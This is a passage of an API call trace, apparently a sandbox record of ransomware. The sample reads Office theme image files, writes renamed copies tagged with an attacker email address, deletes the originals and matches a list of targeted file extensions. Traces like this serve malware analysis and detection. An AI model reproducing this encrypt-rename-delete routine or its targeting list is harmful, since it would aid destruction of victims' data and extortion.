lpNumberOfBytesWritten=0x2ebfc9c*=0x4990, lpOverlapped=0x0) returned 1 [0043.974] ReadFile (in: hFile=0x1f0, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0043.974] WriteFile (in: hFile=0x17c, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0043.975] SetEndOfFile (hFile=0x17c) returned 1 [0043.975] CloseHandle (hObject=0x17c) returned 1 [0043.975] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0043.975] SetEndOfFile (hFile=0x1f0) returned 1 [0043.976] CloseHandle (hObject=0x1f0) returned 1 [0043.976] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0043.976] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png")) returned 1 [0043.976] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0043.976] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0043.976] lstrlenW (lpString=".doc") returned 4 [0043.976] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0043.976] lstrlenW (lpString=".docx") returned 5 [0043.976] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0043.976] lstrlenW (lpString=".pdf") returned 4 [0043.976] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0043.976] lstrlenW (lpString=".xls") returned 4 [0043.976] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0043.976] lstrlenW (lpString=".xlsx") returned 5 [0043.976] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0043.976] lstrlenW (lpString=".ppt") returned 4 [0043.976] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0043.977] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0043.977] lstrlenW (lpString=".zip") returned 4 [0043.977] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0043.977] lstrlenW (lpString=".rar") returned 4 [0043.977] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0043.977] lstrlenW (lpString=".bz2") returned 4 [0043.977] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0043.977] lstrlenW (lpString=".7z") returned 3 [0043.977] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0043.977] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0043.977] lstrlenW (lpString=".dbf") returned 4 [0043.977] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0043.977] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0043.977] lstrlenW (lpString=".1cd") returned 4 [0043.977] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0043.977] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0043.977] lstrlenW (lpString=".jpg") returned 4 [0043.977] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0043.977] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0043.977] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0043.977] lstrlenW (lpString=".doc") returned 4 [0043.977] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0043.977] lstrlenW (lpString=".docx") returned 5 [0043.977] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0043.977] lstrlenW (lpString=".pdf") returned 4 [0043.977] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0043.977] lstrlenW (lpString=".xls") returned 4 [0043.977] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0043.977] lstrlenW (lpString=".xlsx") returned 5 [0043.977] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0043.977] lstrlenW (lpString=".ppt") returned 4 [0043.977] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0043.977] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0043.978] lstrlenW (lpString=".zip") returned 4 [0043.978] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0043.978] lstrlenW (lpString=".rar") returned 4 [0043.978] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0043.978] lstrlenW (lpString=".bz2") returned 4 [0043.978] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0043.978] lstrlenW (lpString=".7z") returned 3 [0043.978] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0043.978] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0043.978] lstrlenW (lpString=".dbf") returned 4 [0043.978] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0043.978] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0043.978] lstrlenW (lpString=".1cd") returned 4 [0043.978] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0043.978] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0043.978] lstrlenW (lpString=".jpg") returned 4 [0043.978] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0043.978] lstrcmpiW (lpString1=".GIF", lpString2=".html") returned -1 [0043.978] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0043.978] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0043.978] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=5179) returned 1 [0043.979] CloseHandle (hObject=0x1f0) returned 1 [0043.979] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\preview.gif")) returned 0x20 [0043.979] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\preview.gif.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0043.979] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0043.979] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0043.979] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0043.979] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\preview.gif.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0043.988] GetLastError () returned 0x0 [0043.988] ReadFile (in: hFile=0x1f0, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x143b, lpOverlapped=0x0) returned 1 [0043.989] WriteFile (in: hFile=0x17c, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x1440, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x1440, lpOverlapped=0x0) returned 1 [0043.990] ReadFile (in: hFile=0x1f0, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0043.990] WriteFile (in: hFile=0x17c, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xea, lpOverlapped=0x0) returned 1 [0043.990] SetEndOfFile (hFile=0x17c) returned 1 [0043.990] CloseHandle (hObject=0x17c) returned 1 [0043.991] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0043.991] SetEndOfFile (hFile=0x1f0) returned 1 [0043.991] CloseHandle (hObject=0x1f0) returned 1 [0043.992] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0043.992] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\preview.gif")) returned 1 [0043.992] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0043.992] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0043.992] lstrlenW (lpString=".doc") returned 4 [0043.992] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0043.992] lstrlenW (lpString=".docx") returned 5 [0043.992] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0043.992] lstrlenW (lpString=".pdf") returned 4 [0043.992] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0043.992] lstrlenW (lpString=".xls") returned 4 [0043.992] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0043.992] lstrlenW (lpString=".xlsx") returned 5 [0043.992] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0043.992] lstrlenW (lpString=".ppt") returned 4 [0043.992] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0043.992] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0043.992] lstrlenW (lpString=".zip") returned 4 [0043.992] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0043.992] lstrlenW (lpString=".rar") returned 4 [0043.993] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0043.993] lstrlenW (lpString=".bz2") returned 4 [0043.993] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0043.993] lstrlenW (lpString=".7z") returned 3 [0043.993] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0043.993] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0043.993] lstrlenW (lpString=".dbf") returned 4 [0043.993] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0043.993] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0043.993] lstrlenW (lpString=".1cd") returned 4 [0043.993] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0043.993] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0043.993] lstrlenW (lpString=".jpg") returned 4 [0043.993] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0043.993] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0043.993] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0043.993] lstrlenW (lpString=".doc") returned 4 [0043.993] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0043.993] lstrlenW (lpString=".docx") returned 5 [0043.993] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0043.993] lstrlenW (lpString=".pdf") returned 4 [0043.993] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0043.993] lstrlenW (lpString=".xls") returned 4 [0043.993] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0043.993] lstrlenW (lpString=".xlsx") returned 5 [0043.993] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0043.993] lstrlenW (lpString=".ppt") returned 4 [0043.993] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0043.993] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0043.993] lstrlenW (lpString=".zip") returned 4 [0043.993] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0043.993] lstrlenW (lpString=".rar") returned 4 [0043.993] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0043.994] lstrlenW (lpString=".bz2") returned 4 [0043.994] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0043.994] lstrlenW (lpString=".7z") returned 3 [0043.994] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0043.994] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0043.994] lstrlenW (lpString=".dbf") returned 4 [0043.994] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0043.994] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0043.994] lstrlenW (lpString=".1cd") returned 4 [0043.994] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0043.994] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0043.994] lstrlenW (lpString=".jpg") returned 4 [0043.994] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0043.994] lstrcmpiW (lpString1=".PNG", lpString2=".html") returned 1 [0043.994] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0043.994] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0043.994] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=33559) returned 1 [0043.994] CloseHandle (hObject=0x1f0) returned 1 [0043.994] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png")) returned 0x20 [0043.995] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0043.995] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0043.995] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0043.995] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0043.995] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0043.995] GetLastError () returned 0x0 [0043.995] ReadFile (in: hFile=0x1f0, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x8317, lpOverlapped=0x0) returned 1 [0043.997] WriteFile (in: hFile=0x17c, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x8320, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x8320, lpOverlapped=0x0) returned 1 [0043.998] ReadFile (in: hFile=0x1f0, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0043.998] WriteFile (in: hFile=0x17c, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0043.998] SetEndOfFile (hFile=0x17c) returned 1 [0043.998] CloseHandle (hObject=0x17c) returned 1 [0043.998] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0043.998] SetEndOfFile (hFile=0x1f0) returned 1 [0043.999] CloseHandle (hObject=0x1f0) returned 1 [0043.999] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0044.000] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png")) returned 1 [0044.000] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0044.000] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0044.000] lstrlenW (lpString=".doc") returned 4 [0044.000] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0044.000] lstrlenW (lpString=".docx") returned 5 [0044.000] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0044.000] lstrlenW (lpString=".pdf") returned 4 [0044.000] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0044.000] lstrlenW (lpString=".xls") returned 4 [0044.000] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0044.000] lstrlenW (lpString=".xlsx") returned 5 [0044.000] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0044.000] lstrlenW (lpString=".ppt") returned 4 [0044.000] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0044.000] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0044.000] lstrlenW (lpString=".zip") returned 4 [0044.000] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0044.000] lstrlenW (lpString=".rar") returned 4 [0044.000] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0044.000] lstrlenW (lpString=".bz2") returned 4 [0044.000] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0044.000] lstrlenW (lpString=".7z") returned 3 [0044.001] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0044.001] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0044.001] lstrlenW (lpString=".dbf") returned 4 [0044.001] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0044.001] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0044.001] lstrlenW (lpString=".1cd") returned 4 [0044.001] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0044.001] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0044.001] lstrlenW (lpString=".jpg") returned 4 [0044.001] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0044.001] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0044.001] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0044.001] lstrlenW (lpString=".doc") returned 4 [0044.001] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0044.001] lstrlenW (lpString=".docx") returned 5 [0044.001] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0044.001] lstrlenW (lpString=".pdf") returned 4 [0044.001] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0044.001] lstrlenW (lpString=".xls") returned 4 [0044.001] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0044.001] lstrlenW (lpString=".xlsx") returned 5 [0044.001] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0044.001] lstrlenW (lpString=".ppt") returned 4 [0044.001] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0044.001] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0044.001] lstrlenW (lpString=".zip") returned 4 [0044.001] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0044.001] lstrlenW (lpString=".rar") returned 4 [0044.001] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0044.001] lstrlenW (lpString=".bz2") returned 4 [0044.001] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0044.001] lstrlenW (lpString=".7z") returned 3 [0044.001] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0044.002] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0044.002] lstrlenW (lpString=".dbf") returned 4 [0044.002] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0044.002] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0044.002] lstrlenW (lpString=".1cd") returned 4 [0044.002] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0044.002] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0044.002] lstrlenW (lpString=".jpg") returned 4 [0044.002] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0044.002] lstrcmpiW (lpString1=".GIF", lpString2=".html") returned -1 [0044.002] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0044.002] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0044.002] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=2476) returned 1 [0044.002] CloseHandle (hObject=0x1f0) returned 1 [0044.003] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\preview.gif")) returned 0x20 [0044.003] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\preview.gif.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0044.003] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0044.003] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0044.003] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0044.003] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\preview.gif.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0044.005] GetLastError () returned 0x0 [0044.005] ReadFile (in: hFile=0x1f0, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x9ac, lpOverlapped=0x0) returned 1 [0044.006] WriteFile (in: hFile=0x17c, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x9b0, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, 